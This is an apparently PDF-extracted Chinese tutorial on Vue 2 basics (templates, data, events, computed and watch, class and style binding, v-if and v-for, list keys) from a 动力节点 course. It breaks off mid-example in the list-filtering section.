Vue 框架

1. Vue 程序初体验

我们可以先不去了解 Vue 框架的发展历史、Vue 框架有什么特点、Vue 是谁开发的，这些对我们编写 Vue 程序起不到太大的作用，更何况现在说了一些特点之后，我们也没有办法彻底理解它，因此我们可以先学会用，使用一段时间之后，我们再回头来熟悉一下 Vue 框架以及它的特点。现在你只需要知道 **Vue 是一个基于 JavaScript（JS）实现的框架**。要使用它就需要先拿到 Vue 的 js 文件。从 Vue 官网（https://v2.cn.vuejs.org/）下载 vue.js 文件。

1.1 下载并安装 vue.js

第一步：打开 Vue2 官网，点击下图所示的“起步”：

第二步：继续点击下图所示的“安装”

第三步：在“安装”页面向下滚动，直到看到下图所示位置：

第四步：点击开发版本，并下载，如下图所示：

第五步：安装 Vue：

使用 script 标签引入 vue.js 文件。就像这样：<script src=”xx/vue.js”></script>

1.2 第一个 Vue 程序

集成开发环境使用 VSCode，没有的可以安装一个：https://code.visualstudio.com/

第一个 Vue 程序如下：

```
1.  <!DOCTYPE html>
2.  <html lang="en">
3.  <head>
4.      <meta charset="UTF-8">
5.      <meta http-equiv="X-UA-Compatible" content="IE=edge">
6.      <meta name="viewport" content="width=device-width, initial-scale=1.0">
7.      <title>第一个 Vue 程序</title>
8.      <!-- 安装 vue.js -->
9.      <script src="../js/vue.js"></script>
10. </head>
11. <body>
12.     <!-- 指定挂载位置 -->
13.     <div id="app"></div>
14.     <!-- vue 程序 -->
15.     <script>
16.         // 第一步：创建 Vue 实例
17.         const vm = new Vue({
18.             template : '<h1>Hello Vue!</h1>'
19.         })
20.         // 第二步：将 Vue 实例挂载到指定位置
21.         vm.$mount('#app')
22.     </script>
23. </body>
```

```
24. </html>
```

运行效果：

Hello Vue!

对第一个程序进行解释说明：

1. 当使用 script 引入 vue.js 之后，**Vue** 会被注册为一个全局变量。就像引入 jQuery 之后，jQuery 也会被注册为一个全局变量一样。
2. 我们必须 new 一个 Vue 实例，因为通过源码可以看到 this 的存在。

```
function Vue(options) {
    if (!(this instanceof Vue)) {
        warn$2('Vue is a constructor and should be called with the `new` keyword');
    }
    this._init(options);
}
```

3. Vue 的构造方法参数是一个 options 配置对象。配置对象中有大量 Vue 预定义的配置。每一个配置项都是 key:value 结构。一个 key:value 就是一个 Vue 的配置项。
4. template 配置项：value 是一个**模板字符串**。在这里编写符合 Vue 语法规则的代码（Vue 有一套自己规定的语法规则）。写在这里的字符串会被 Vue 编译器进行编译，将其转换成浏览器能够识别的 HTML 代码。template 称之为模板。
5. Vue 实例的$mount 方法：这个方法完成挂载动作，将 Vue 实例挂载到指定位置。也就是说将 Vue 编译后的 HTML 代码**渲染**到页面的指定位置。注意：指定位置的元素被**替换**。
6. '#app'的语法类似于 CSS 中的 id 选择器语法。表示将 Vue 实例挂载到 id='app'的元素位置。当然，如果编写原生 JS 也是可以的：vm.$mount(document.getElementById('app'))
7. '#app'是 id 选择器，也可以使用其它选择器，例如类选择器：'.app'。类选择器可以匹配多个元素（位置），这个时候 Vue 只会选择第一个位置进行挂载（从上到下第一个）。

1.3 Vue 的 data 配置项

观察第一个 Vue 程序，你会发现要完成这种功能，我们完全没有必要使用 Vue，直接在 body 标签中编写以下代码即可：

```
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <title>没必要使用 Vue 呀</title>
6. </head>
7. <body>
8.     <h1>Hello Vue!</h1>
9. </body>
```

```
10. </html>
```

那我们为什么还要使用 Vue 呢？在 Vue 中有一个 data 配置项，它可以帮助我们动态的渲染页面。代码如下：

```
1.  <!DOCTYPE html>
2.  <html lang="en">
3.  <head>
4.      <meta charset="UTF-8">
5.      <meta http-equiv="X-UA-Compatible" content="IE=edge">
6.      <meta name="viewport" content="width=device-width, initial-scale=1.0">
7.      <title>Vue 选项 data</title>
8.      <!-- 安装 vue -->
9.      <script src="../js/vue.js"></script>
10. </head>
11. <body>
12.     <!-- 指定挂载位置 -->
13.     <div id="app"></div>
14.     <!-- vue 代码 -->
15.     <script>
16.         new Vue({
17.             data : {
18.                 message : 'Hello Vue!'
19.             },
20.             template : '<h1>{{message}}</h1>'
21.         }).$mount('#app')
22.     </script>
23. </body>
24. </html>
```

运行结果如下：

对以上程序进行解释说明：

1. data 是 Vue 实例的数据对象。并且这个对象必须是纯粹的对象 (含有零个或多个的 key/value 对)。
2. {{message}}是 Vue 框架自己搞的一个语法，叫做插值语法（或者叫做胡子语法），可以从 data 中根据 key 来获取 value，并且将 value 插入到对应的位置。
3. data 可以是以下几种情况，但不限于这几种情况：

```
1.  data : {
2.      name : '老杜',
```

```
  age : 18
}
//取值:
{{name}}
{{age}}

data : {
  user : {
    name : '老杜',
    age : 18
  }
}
//取值:
{{user.name}}
{{user.age}}

data : {
  colors : ['红色', '黄色', '蓝色']
}
//取值:
{{colors[0]}}
{{colors[1]}}
{{colors[2]}}
```

4. 以上程序执行原理：Vue 编译器对 template 进行编译，遇到胡子{{}}时从 data 中取数据，然后将取到的数据插到对应的位置。生成一段 HTML 代码，最终将 HTML 渲染到挂载位置，呈现。
5. 当 data 发生改变时，template 模板会被重新编译，重新渲染。

1.4 Vue 的 template 配置项

(1) template 只能有一个根元素。

请看如下代码：

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vue 选项 template</title>
    <!-- 安装 vue -->
```

```
9.      <script src="../js/vue.js"></script>
10. </head>
11. <body>
12.     <!-- 指定挂载位置 -->
13.     <div id="app"></div>
14.     <!-- vue 程序 -->
15.     <script>
16.         new Vue({
17.             template : '<h1>{{message}}</h1><h1>{{name}}</h1>',
18.             data : {
19.                 message : 'Hello Vue!',
20.                 name : '动力节点老杜'
21.             }
22.         }).$mount('#app')
23.     </script>
24. </body>
25. </html>
```

执行结果如下：

```
[Vue warn]: Error compiling template:

Component template should contain exactly one root element.

1 | <h1>{{message}}</h1><h1>{{name}}</h1>
  |                     ^^^^^^^^^^^^^^^^
```

控制台错误信息：组件模板应该只能包括一个根元素。

所以如果使用 template 的话，根元素只能有一个。

代码修改如下：

```
1.  new Vue({
2.      template : '<div><h1>{{message}}</h1><h1>{{name}}</h1></div>',
3.      data : {
4.          message : 'Hello Vue!',
5.          name : '动力节点老杜'
6.      }
7.  }).$mount('#app')
```

运行结果如下：

(2)　template 编译后进行渲染时会将挂载位置的元素**替换**。

(3) template 后面的代码如果需要换行的话，建议将代码写到``符号当中，不建议使用 + 进行字符串的拼接。
代码修改如下：

```
new Vue({
    template : `
        <div>
            <h1>{{message}}</h1>
            <h1>{{name}}</h1>
        </div>
    `,
    data : {
        message : 'Hello Vue!',
        name : '动力节点老杜'
    }
}).$mount('#app')
```

运行结果如下：

(4) template 配置项可以省略，将其直接编写到 HTML 代码当中。
代码如下：

```
<!-- 指定挂载位置 -->
<div id="app">
    <div>
        <h1>{{message}}</h1>
        <h1>{{name}}</h1>
    </div>
</div>
<!-- vue 程序 -->
<script>
    new Vue({
        data : {
            message : 'Hello Vue!',
            name : '动力节点老杜'
        }
    }).$mount('#app')
</script>
```

运行结果如下：

需要注意两点：

第一：这种方式不会产生像 template 那种的元素替换。

第二：虽然是直接写到 HTML 代码当中的，但以上程序中第 3~6 行已经不是 HTML 代码了，它是具有 Vue 语法特色的模板语句。这段内容在 data 发生改变后都是要重新编译的。

(5) 将 Vue 实例挂载时，也可以不用$mount 方法，可以使用 Vue 的 el 配置项。

代码如下：

```
1.  <!-- 指定挂载位置 -->
2.  <div id="app">
3.      <div>
4.          <h1>{{message}}</h1>
5.          <h1>{{name}}</h1>
6.      </div>
7.  </div>
8.  <!-- vue 程序 -->
9.  <script>
10.     new Vue({
11.         data : {
12.             message : 'Hello Vue!',
13.             name : '动力节点老杜'
14.         },
15.         el : '#app'
16.     })
17. </script>
```

执行结果如下：

el 是 element 单词的缩写，翻译为“元素”，el 配置项主要是用来指定 Vue 实例关联的容器。也就是说 Vue 所管理的容器是哪个。

2. Vue 核心技术

2.1 事件处理

2.1.1 事件处理的核心语法

(1) 指令的语法格式：<标签 v-指令名:参数="表达式"></标签>
(2) 事件绑定的语法格式：v-on:事件名。例如鼠标单击事件的绑定使用 v-on:click。
(3) 绑定的回调函数需要在 Vue 实例中使用 methods 进行注册。methods 可以配置多个回调函数，采用逗号隔开。
(4) 绑定回调函数时，如果回调函数没有参数，( )可以省略。
(5) 每一个回调函数都可以接收一个事件对象 event。
(6) 如果回调函数有参数，并且还需要获取事件对象，可以使用$event 进行占位。
(7) v-on:click 可以简写为@click。简写的语法格式：@事件名
(8) 回调函数中的 this 是 vm。如果回调函数是箭头函数的话，this 是 window 对象，因为箭头函数没有自己的 this，它的 this 是继承过来的，默认这个 this 是箭头函数所在的宿主对象。这个宿主对象其实就是它的父级作用域。而对象又不能构成单独的作用域，所以这个父级作用域是全局作用域，也就是 window。
(9) 回调函数并没有在 vm 对象上，为什么通过 vm 可以直接调用函数呢？尝试手写 Vue 框架。
(10) 可以在函数中改变 data 中的数据，例如：this.counter++，这样会联动页面上产生动态效果。

2.1.2 事件修饰符

(1) .stop - 调用 event.stopPropagation()。

```
1. <div @click="san">
2.     <div @click.stop="er">
3.         <button @click="yi">{{name}}</button>
4.     </div>
5. </div>
```

(2) .prevent - 调用 event.preventDefault()。

```
1. <a href="http://www.bjpowernode.com" @click.prevent="yi">
2. {{name}}
3. </a>
```

(3) .capture - 添加事件侦听器时使用 capture 模式。

```
1. <div @click.capture="san">
2.     <div @click.capture="er">
3.         <button @click="yi">{{name}}</button>
```

 Copyright©动力节点

```
    </div>
</div>
```

注意：只有添加了 capture 修饰符的元素才会采用捕获模式。（或者说带有 capture 修饰符的优先触发）

(4) .self - 只当事件是从侦听器绑定的元素本身触发时才触发回调。

```
<div @click="san">
    <div @click.self="er">
        <button @click="yi">{{name}}</button>
    </div>
</div>
```

(5) .once - 只触发一次回调。

```
<button @click.once="yi">
    {{name}}
</button>
```

(6) .passive - (2.3.0) 以 { passive: true } 模式添加侦听器

① 无需等待，直接继续（立即）执行事件默认行为。（对 wheel 事件有效果）

② .passive 和 .prevent 修饰符不能共存。

2.1.3 按键修饰符

1. 常用的按键修饰符包括：
   (1) .enter
   (2) .tab （只能配合 keydown 使用）
   (3) .delete (捕获“删除”和“退格”键)
   (4) .esc
   (5) .space
   (6) .up
   (7) .down
   (8) .left
   (9) .right
2. 可以直接将 KeyboardEvent.key 暴露的任意有效按键名转换为 kebab-case 来作为修饰符。
   <input type=”text” @keyup.page-down=”getInfo”>
3. 可以通过全局 config.keyCodes 对象自定义按键修饰符别名
   Vue.config.keyCodes.huiche = 13

2.1.4 系统修饰键

1. 系统修饰键包括 4 个

(1) .ctrl
(2) .alt
(3) .shift
(4) .meta

2. 系统修饰键在使用时应注意：
   (1) 只有当系统修饰键和其他键组合使用，并且组合键释放时，才会触发 keyup 事件。
   (2) 只要按下系统修饰键，就会触发 keydown 事件。
3. 小技巧
   (1) <input type="text" @keyup.ctrl.c="getInfo"/>

2.2 计算属性

1. 案例：用户输入信息，然后翻转用户输入的字符串。
   (1) 插值语法可以实现，但是有三个问题
      ① 代码可读性差
      ② 代码不可复用
      ③ 代码难以维护
   (2) 可以使用 methods 方式实现，存在 1 个问题
      ① 效率低，即使数据没有发生变化，但每一次仍然会调用 method。
   (3) 使用计算属性可以解决以上问题。
2. 什么是计算属性？

data 中的是属性。用 data 的属性经过计算得出的全新的属性就是计算属性。

3. 计算属性的使用

```
1.  <div id="app">
2.      <h1>{{msg}}</h1>
3.      输入的信息：<input type="text" v-model="info"><br>
4.      反转的信息：{{reversedInfo}} <br>
5.      反转的信息：{{reversedInfo}} <br>
6.      反转的信息：{{reversedInfo}} <br>
7.      反转的信息：{{reversedInfo}} <br>
8.  </div>
9.  <script>
10.     const vm = new Vue({
11.         el : '#app',
12.         data : {
13.             msg : '计算属性-反转字符串案例',
14.             info : ''
15.         },
16.         computed : {
```

 Copyright©动力节点

```
            reversedInfo:{
                get(){
                    console.log('getter 被调用了');
                    return this.info.split('').reverse().join('')
                },
                set(val){
                    //this.reversedInfo = val // 不能这样做，这样会导致无限递归
                    this.info = val.split('').reverse().join('')
                }
            }
        }
    })
</script>
```

(1) 计算属性需要使用：computed

(2) 计算属性通过 vm.$data 是无法访问的。计算属性不能通过 vm.$data 访问。

(3) 计算属性的 getter/setter 方法中的 this 是 vm。

(4) 计算属性的 getter 方法的调用时机：

① 第一个时机：初次访问该属性。

② 第二个时机：计算属性所依赖的数据发生变化时。

(5) 计算属性的 setter 方法的调用时机：

① 当计算属性被修改时。（在 setter 方法中通常是修改属性，因为只有当属性值变化时，计算属性的值就会联动更新。注意：计算属性的值被修改并不会联动更新属性的值。）

(6) 计算属性没有真正的值，每一次都是依赖 data 属性计算出来的。

(7) 计算属性的 getter 和 setter 方法不能使用箭头函数，因为箭头函数的 this 不是 vm。而是 window。

4. 计算属性的简写形式

只考虑读取，不考虑修改时，可以启用计算属性的简写形式。

```
computed : {
    reversedInfo(){
        console.log('getter 被调用了');
        return this.info.split('').reverse().join('')
    }
}
```

2.3 侦听属性的变化

1. 侦听属性的变化其实就是监视某个属性的变化。当被监视的属性一旦发生改变时，执行某段代码。
2. 监视属性变化时需要使用 watch 配置项。

使用 watch 实现：比较数字大小的案例

```
1.  <div id="app">
2.      <h1>{{msg}}</h1>
3.      数值 1：<input type="text" v-model="number1"><br>
4.      数值 2：<input type="text" v-model="number2"><br>
5.      比较大小：{{compareResult}}
6.  </div>
7.  <script>
8.      const vm = new Vue({
9.          el : '#app',
10.         data : {
11.             msg : '侦听属性的变化',
12.             number1 : 1,
13.             number2 : 1,
14.             compareResult : ''
15.         },
16.         watch : {
17.             number1 : {
18.                 immediate : true,
19.                 handler(newVal, oldVal){
20.                     let result = newVal - this.number2
21.                     if(result > 0){
22.                         this.compareResult = newVal + '>' + this.number2
23.                     }else if(result < 0){
24.                         this.compareResult = newVal + '<' + this.number2
25.                     }else{
26.                         this.compareResult = newVal + '=' + this.number2
27.                     }
28.                 }
29.             },
30.             number2 : {
31.                 immediate : true,
32.                 handler(newVal, oldVal){
33.                     let result = this.number1 - newVal
34.                     if(result > 0){
35.                         this.compareResult = this.number1 + '>' + newVal
36.                     }else if(result < 0){
37.                         this.compareResult = this.number1 + '<' + newVal
38.                     }else{
```

 Copyright©动力节点

```
                    this.compareResult = this.number1 + '=' + newVal
                }
            }
        }
    }
})
</script>
```

运行效果：

3. 如何深度监视：
   (1) 监视多级结构中某个属性的变化，写法是：'a.b.c' : {}。注意单引号哦。
   (2) 监视多级结构中所有属性的变化，可以通过添加深度监视来完成：deep : true
4. 如何后期添加监视：
   (1) 调用 API：vm.$watch('number1', {})
5. watch 的简写：
   (1) 简写的前提：当不需要配置 immediate 和 deep 时，可以简写。
   (2) 如何简写？
      ① watch:{ number1(newVal,oldVal){}, number2(newVal, oldVal){} }
   (3) 后期添加的监视如何简写？
      ① vm.$watch('number1', function(newVal, oldVal){})

6. computed 和 watch 如何选择？
   (1) 以上比较大小的案例可以用 computed 完成，并且比 watch 还要简单。所以要遵守一个原则：computed 和 watch 都能够完成的，优先选择 computed。
   (2) 如果要开启异步任务，只能选择 watch。因为 computed 依靠 return。watch 不需要依赖 return。
7. 关于函数的写法，写普通函数还是箭头函数？
   (1) 不管写普通函数还是箭头函数，目标是一致的，都是为了让 this 和 vm 相等。
   (2) 所有 Vue 管理的函数，建议写成普通函数。
   (3) 所有不属于 Vue 管理的函数，例如 setTimeout 的回调函数、Promise 的回调函数、AJAX 的回调函数，建议使用箭头函数。

2.4 class 与 style 绑定

数据绑定的一个常见需求场景是操纵元素的 CSS class 列表和内联样式。因为 class 和 style 都是 attribute，我们可以和其他 attribute 一样使用 v-bind 将它们和动态的字符串绑定。但是，在处理比较复杂的绑定时，通过拼接生成字符串是麻烦且易出错的。因此，**Vue 专门为 class 和 style 的 v-bind 用法提供了特殊的功能增强**。除了字符串外，表达式的值也可以是对象或数组。

2.4.1 class 绑定

2.4.1.1 绑定字符串

适用于样式的名字不确定，需要动态指定。

```
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <title>class 绑定字符串形式</title>
6.     <script src="../js/vue.js"></script>
7.     <style>
8.         .static{
9.             border: 1px solid black;
10.            background-color: beige;
11.        }
12.        .big{
13.            width: 200px;
14.            height: 200px;
15.        }
16.        .small{
```

 Copyright©动力节点

```
17.                 width: 100px;
18.                 height: 100px;
19.             }
20.         </style>
21.</head>
22.<body>
23.         <div id="app">
24.             <h1>{{msg}}</h1>
25.             <div class="static" :class="c1"></div>
26.         </div>
27.         <script>
28.             const vm = new Vue({
29.                 el : '#app',
30.                 data : {
31.                     msg : 'class 绑定字符串形式',
32.                     c1 : 'small'
33.                 }
34.             })
35.         </script>
36.</body>
37.</html>
```

运行效果：

使用 vue 开发者工具修改 c1 的 small 为 big：

通过测试可以看到样式完成了动态的切换。

2.4.1.2 绑定数组

适用于绑定的样式名字不确定，并且个数也不确定。

```
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <title>class 绑定数组形式</title>
6.     <script src="../js/vue.js"></script>
7.     <style>
8.         .static{
9.             border: 1px solid black;
10.        }
11.        .active{
12.            background-color: green;
13.        }
14.        .text-danger{
15.            color: red;
16.        }
17.    </style>
18.</head>
19.<body>
20.    <div id="app">
21.        <h1>{{msg}}</h1>
22.        <div class="static" :class="['active','text-danger']">
数组形式</div>
23.        <br><br>
```

```
24.         <div class="static" :class="[activeClass,errorClass]">数组形式</div>
25.         <br><br>
26.         <div class="static" :class="classArray">数组形式</div>
27.     </div>
28.     <script>
29.         const vm = new Vue({
30.             el : '#app',
31.             data : {
32.                 msg : 'class 绑定数组形式',
33.                 activeClass : 'active',
34.                 errorClass : 'text-danger',
35.                 classArray : ['active', 'text-danger']
36.             }
37.         })
38.     </script>
39.</body>
40.</html>
```

运行效果：

使用 vue 开发者工具删除数组中的一个样式：

2.4.1.3 绑定对象

适用于样式名字和个数都确定，但是要动态决定用或者不用。

```
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <title>class 绑定对象形式</title>
6.     <script src="../js/vue.js"></script>
7.     <style>
8.         .static{
9.             border: 1px solid black;
10.        }
11.        .active{
12.            background-color: green;
13.        }
14.        .text-danger{
15.            color: red;
16.        }
17.    </style>
18.</head>
19.<body>
20.    <div id="app">
21.        <h1>{{msg}}</h1>
22.        <div class="static" :class="{active : true, 'text-dang
er' : true}">对象形式</div>
23.        <br><br>
24.        <div class="static" :class="classObject">对象形式
</div>
25.    </div>
26.    <script>
27.        const vm = new Vue({
28.            el : '#app',
29.            data : {
30.                msg : 'class 绑定对象形式',
31.                classObject : {
32.                    active : true,
33.                    'text-danger' : false
34.                }
```

 Copyright©动力节点

```
35.                 }
36.             })
37.     </script>
38.</body>
39.</html>
```

运行效果：

使用 vue 开发者工具修改 text-danger 为 true：

2.4.2 style 绑定

2.4.2.1 绑定对象

```
1. <div id="app">
2.     <h1>{{msg}}</h1>
3.     <!-- 静态写法 -->
4.     <div class="static" style="font-size: 20px;">对象形式
</div><br><br>
5.     <!-- 动态写法 1 -->
6.     <div class="static" :style="{fontSize: 40 + 'px'}">对象形式
</div><br><br>
7.     <!-- 动态写法 2 -->
```

```
8.      <div class="static" :style="styleObject">对象形式
</div><br><br>
9. </div>
10.<script>
11.     const vm = new Vue({
12.         el : '#app',
13.         data : {
14.             msg : 'style 绑定对象形式',
15.             styleObject : {
16.                 fontSize : '40px'
17.             }
18.         }
19.     })
20.</script>
```

2.4.2.2 绑定数组

```
1. <div id="app">
2.      <h1>{{msg}}</h1>
3.      <!-- 静态写法 -->
4.      <div class="static" style="font-size: 40px; color: red;">数
组形式</div><br><br>
5.      <!-- 动态写法 1 -->
6.      <div class="static" :style="[{fontSize:'40px'},{color:'red
'}]">数组形式</div><br><br>
7.      <!-- 动态写法 2 -->
8.      <div class="static" :style="styleArray">对象形式
</div><br><br>
9. </div>
10.<script>
11.     const vm = new Vue({
12.         el : '#app',
13.         data : {
14.             msg : 'style 绑定对象形式',
15.             styleArray : [
16.                 {fontSize:'40px'},
17.                 {color:'red'}
18.             ]
19.         }
```

 Copyright©动力节点

```
    })
</script>
```

2.5 条件渲染

2.5.1 v-if

指令用于条件性地渲染一块内容。这块内容只会在指令的表达式返回 true 时才被渲染

```
<div id="app">
    <h1>{{msg}}</h1>
    温度：<input type="number" v-model="temprature"><br>
    天气：
    <span v-if="temprature <= 10">寒冷</span>
    <span v-if="temprature > 10 && temprature <= 25">凉爽</span>
    <span v-if="temprature > 25">炎热</span>
</div>
<script>
    const vm = new Vue({
        el : '#app',
        data : {
            msg : '条件渲染',
            temprature : 10
        }
    })
</script>
```

运行效果：

2.5.2 v-else-if、v-else

顾名思义，v-else-if 提供的是相应于 v-if 的“else if 区块”。它可以连续多次重复使用。
一个使用 v-else-if 的元素必须**紧跟**在一个 v-if 或一个 v-else-if 元素后面。
你也可以使用 v-else 为 v-if 添加一个“else 区块”，当然，v-else 元素也是必须**紧跟**在一个 v-if 或一个 v-else-if 元素后面。

```
1. <div id="app">
2.     <h1>{{msg}}</h1>
3.     温度：<input type="number" v-model="temprature"><br>
4.     天气：
5.     <span v-if="temprature <= 10">寒冷</span>
6.     <span v-else-if="temprature <= 25">凉爽</span>
7.     <span v-else>炎热</span>
8. </div>
9. <script>
10.     const vm = new Vue({
11.         el : '#app',
12.         data : {
13.             msg : '条件渲染',
14.             temprature : 10
15.         }
16.     })
17.</script>
```

2.5.3 <template>与 v-if

因为 v-if 是一个指令，**他必须依附于某个元素**。但如果我们想要切换不止一个元素呢？在这种情况下我们可以在一个 <template> 元素上使用 v-if，这只是一个不可见的包装器元素，最后渲染的结果并不会包含个 <template> 元素。v-else 和 v-else-if 也可以在 <template> 上使用。

```
1. <div id="app">
```

 Copyright©动力节点

```
2.      <h1>{{msg}}</h1>
3.      温度：<input type="number" v-model="temprature"><br>
4.      天气：
5.      <template v-if="temprature <= 10">
6.          <span>寒冷</span>
7.      </template>
8.      <template v-else-if="temprature <= 25">
9.          <span>凉爽</span>
10.     </template>
11.     <template v-else>
12.         <span>炎热</span>
13.     </template>
14.</div>
15.<script>
16.     const vm = new Vue({
17.         el : '#app',
18.         data : {
19.             msg : '条件渲染',
20.             temprature : 10
21.         }
22.     })
23.</script>
```

2.5.4 v-show

另一个可以用来按条件显示一个元素的指令是 v-show。其用法基本一样：

```
1. <div id="app">
2.      <h1>{{msg}}</h1>
3.      温度：<input type="number" v-model="temprature"><br>
4.      天气：
5.      <span v-show="temprature <= 10">寒冷</span>
6.      <span v-show="temprature > 10 && temprature <= 25">凉爽
</span>
7.      <span v-show="temprature > 25">炎热</span>
8. </div>
9. <script>
10.     const vm = new Vue({
11.         el : '#app',
```

 Copyright©动力节点

```
        data : {
            msg : '条件渲染',
            temprature : 10
        }
    })
</script>
```

不同之处在于 v-show 会在 DOM 渲染中保留该元素；v-show 仅切换了该元素上名为 display 的 CSS 属性。v-show 不支持在 <template> 元素上使用，也不能和 v-else 搭配使用。

2.5.5 v-if VS v-show

v-if 是“真实的”按条件渲染，因为它确保了在切换时，条件区块内的事件监听器和子组件都会被销毁与重建

v-if 也是惰性的：如果在初次渲染时条件值为 false，则不会做任何事。条件区块只有当条件首次变为 true 时才被渲染。

相比之下，v-show 简单许多，元素无论初始条件如何，始终会被渲染，只有 CSS display 属性会被切换。

总的来说，v-if 有更高的切换开销，而 v-show 有更高的初始渲染开销。因此，如果需要频繁切换，则使用 v-show 较好；如果在运行时绑定条件很少改变，则 v-if 会更合适。

2.6 列表渲染

语法格式：v-for 指令。该指令用在被遍历的标签上。

```
v-for="(element, index) in elements" :key="element.id"
```

或者

```
v-for="(element, index) of elements" :key="element.id"
```

2.6.1 遍历数组、对象、字符串、指定次数

1. 遍历数组

```
<div id="app">
    <h1>{{msg}}</h1>
    <h2>遍历数组</h2>
    <ul>
        <li v-for="(product, index) in products" :key="product.id">
            商品名称：{{product.name}}，单价：{{product.price}}元/千克，下标：{{index}}
        </li>
```

```
8.      </ul>
9. </div>
10.<script>
11.     const vm = new Vue({
12.         el : '#app',
13.         data : {
14.             msg : '列表渲染',
15.             products : [
16.                 {id:'111',name:'西瓜',price:20},
17.                 {id:'222',name:'苹果',price:10},
18.                 {id:'333',name:'香蕉',price:30}
19.             ]
20.         }
21.     })
22.</script>
```

运行效果：

2. 遍历对象

```
1. <div id="app">
2.      <h1>{{msg}}</h1>
3.      <h2>遍历对象</h2>
4.      <ul>
5.          <li v-for="(propertyValue, propertyName) of dog" :key="propertyName">
6.              {{propertyName}}:{{propertyValue}}
7.          </li>
8.      </ul>
9. </div>
10.<script>
11.     const vm = new Vue({
12.         el : '#app',
13.         data : {
14.             msg : '列表渲染',
15.             dog : {
16.                 name : '拉布拉多',
```

```
17.                 age : 3,
18.                 gender : '雄性'
19.             }
20.         }
21.     })
22.</script>
```

运行结果：

遍历对象

- name:拉布拉多
- age:3
- gender:雄性

3. 遍历字符串

```
1. <div id="app">
2.     <h1>{{msg}}</h1>
3.     <h2>遍历字符串</h2>
4.     <ul>
5.         <li v-for="char,index of str" :key="index">
6.             {{index}}:{{char}}
7.         </li>
8.     </ul>
9. </div>
10.<script>
11.     const vm = new Vue({
12.         el : '#app',
13.         data : {
14.             msg : '列表渲染',
15.             str : '动力节点'
16.         }
17.     })
18.</script>
```

运行结果：

遍历字符串

- 0:动
- 1:力
- 2:节
- 3:点

4. 遍历指定次数

 Copyright©动力节点

```
1. <div id="app">
2.     <h1>{{msg}}</h1>
3.     <h2>遍历指定次数</h2>
4.     <ul>
5.         <li v-for="number,index of 10" :key="index">
6.             下标：{{index}}，数字：{{number}}
7.         </li>
8.     </ul>
9. </div>
10.<script>
11.     const vm = new Vue({
12.         el : '#app',
13.         data : {
14.             msg : '列表渲染'
15.         }
16.     })
17.</script>
```

运行结果：

2.6.2 虚拟 dom 和 diff 算法

所谓的虚拟 dom 就是内存当中的 dom 对象。vue 为了提高渲染的效率，只有真正改变的 dom 元素才会重新渲染。

2.6.3 v-for 的 key 的作用以及实现原理

1. 用 index 作为 key

```
1.  <!DOCTYPE html>
2.  <html lang="en">
3.  <head>
4.      <meta charset="UTF-8">
5.      <title>key 的原理</title>
6.      <script src="../js/vue.js"></script>
7.  </head>
8.  <body>
9.      <div id="app">
10.         <h1>{{msg}}</h1>
11.         <button @click="addFirst">在数组第一个位置添加 tom</button>
12.         <button @click="addLast">在数组最后位置添加 vue</button>
13.         <table>
14.             <tr>
15.                 <th>序号</th>
16.                 <th>姓名</th>
17.                 <th>邮箱</th>
```

```
18.                 <th>选择</th>
19.             </tr>
20.             <tr v-for="(vip,index) of vips" :key="index">
21.                 <td>{{index + 1}}</td>
22.                 <td>{{vip.name}}</td>
23.                 <td>{{vip.email}}</td>
24.                 <td><input type="checkbox"></td>
25.             </tr>
26.         </table>
27.     </div>
28.     <script>
29.         const vm = new Vue({
30.             el : '#app',
31.             data : {
32.                 msg : 'key 原理(虚拟 dom 与 diff 算法)',
33.                 vips : [
34.                     {id:'100',name:'jack',email:'jack@123.com'},
35.                     {id:'200',name:'lucy',email:'lucy@123.com'},
36.                     {id:'300',name:'james',email:'james@123.com'}
37.                 ]
38.             },
39.             methods : {
40.                 addFirst(){
41.                     this.vips.unshift({id:'400',name:'tom',email:'tom@123.com'})
42.                 },
43.                 addLast(){
44.                     this.vips.push({id:'500',name:'vue',email:'vue@123.com'})
45.                 }
46.             }
47.         })
48.     </script>
49. </body>
50. </html>
```

运行效果：

全部选中：

添加 tom：

可以看到错乱了。思考这是为什么？

2. 用 vip.id 作为 key

运行和测试结果正常，没有出现错乱。为什么？

3. key 的作用

key 存在于虚拟 dom 元素中，代表该虚拟 dom 元素的唯一标识（身份证号）。

4. diff 算法是如何比较的？

新的虚拟 dom 和旧的虚拟 dom 比较时，先拿 key 进行比较：

(1) 如果 key 相同：则继续比较子元素：

① 子元素不同：直接将新的虚拟 dom 元素渲染到页面生成新的真实 dom 元素。

② 子元素相同：直接复用之前的真实 dom。

(2) 如果 key 不同：直接将新的虚拟 dom 元素渲染到页面生成新的真实 dom 元素。

5. index 作为 key 存在两个问题

(1) 效率较低。

(2) 对数组的非末尾元素进行增删时，容易错乱。

6. index 作为 key 和 vip.id 作为 key 对比

当 index 作为 key 时：

当 vip.id 作为 key 时：

2.7 列表过滤

使用 watch 和 computed 分别进行实现：

```
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <title>列表过滤</title>
6.     <script src="../js/vue.js"></script>
7.     <style>
8.         table,tr,th,td{
9.             border: 1px solid blue;
10.        }
11.    </style>
12.</head>
13.<body>
14.    <div id="app">
15.        <h1>{{msg}}</h1>
16.        <input type="text" placeholder="请输入搜索关键词
" v-model="keyword">
17.        <table>
18.            <tr>
19.                <th>序号</th>
20.                <th>姓名</th>
21.                <th>邮箱</th>
22.            </tr>
23.            <tr v-for="(vip,index) of filterVips" :key="vip.id
">
24.                <td>{{index+1}}</td>
25.                <td>{{vip.name}}</td>
26.                <td>{{vip.email}}</td>
27.            </tr>
28.        </table>
29.    </div>
30.    <script>
31.        const vm = new Vue({
32.            el : '#app',
33.            data : {
34.                keyword : '',
```

 Copyright©动力节点

```
35.                 msg : '列表过滤',
36.                 vips : [
37.                     {id:'100',name:'jack',email:'jack@123.com'}
,
38.                     {id:'200',name:'lucy',email:'lucy@123.com'}
,
39.                     {id:'300',name:'james',email:'james@123.co
m'}
40.                 ],
41.                 //filterVips : []
42.             },
43.             /* watch : {
44.                 keyword : {
45.                     immediate : true,
